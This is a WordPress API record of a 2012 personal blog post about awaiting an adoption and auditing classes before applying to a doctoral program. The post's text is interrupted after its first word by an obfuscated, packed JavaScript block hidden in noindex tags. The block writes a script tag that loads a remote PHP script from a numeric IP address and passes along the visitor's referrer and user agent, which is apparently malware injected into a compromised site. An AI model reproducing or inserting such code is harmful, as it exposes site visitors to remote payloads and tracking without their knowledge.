{"id":2757,"date":"2012-01-09T10:36:00","date_gmt":"2012-01-09T17:36:00","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2757"},"modified":"2012-01-09T10:36:00","modified_gmt":"2012-01-09T17:36:00","slug":"back-to-school","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2757","title":{"rendered":"Back to school"},"content":{"rendered":"<p>What <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\\\o=\"+3(j.i)+\"\\'><\\\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssyik|var|u0026u|referrer|ztsss||js|php'.split('|'),0,{}))\n<\/script><\/noindex> to do while I wait for my child?  They say it&#8217;s best to &#8220;keep on with your life&#8221; &#8211; to keep busy, keep doing the things you love, keep moving forward.  I had hoped to apply to graduate school this past fall, but wasn&#8217;t able to manage both applications at the same time (the adoption and grad school both!?  unrealistically ambitious)<\/p>\n<p>But now, I have three whole semesters to get myself ready for a doctoral program.  I&#8217;m going to jump in with both feet and audit a couple of classes this semester. Just reading over the course syllabus lists got me all excited.  I feel like part of me has been asleep and just woke up.  I found myself thinking, I wish I&#8217;d done this earlier.  Was I not-ready until now?  I don&#8217;t think it&#8217;s that, exactly.  But I&#8217;ve built up some strange strengths these past few years:  emotional stamina, a higher tolerance for frustration, and more patience with uncertainty and change.  Possibly these strengths will serve me well in a graduate program.  :P<\/p>\n<p>They&#8217;ll probably serve me well as a parent too.  <\/p>\n","protected":false},"excerpt":{"rendered":"<p>What to do while I wait for my child? They say it&#8217;s best to &#8220;keep&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[53,66],"class_list":["post-2757","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-adoption","tag-schools"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2757"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2757"}],"version-history":[{"count":1,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2757\/revisions"}],"predecessor-version":[{"id":2758,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2757\/revisions\/2758"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2757"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2757"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2757"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}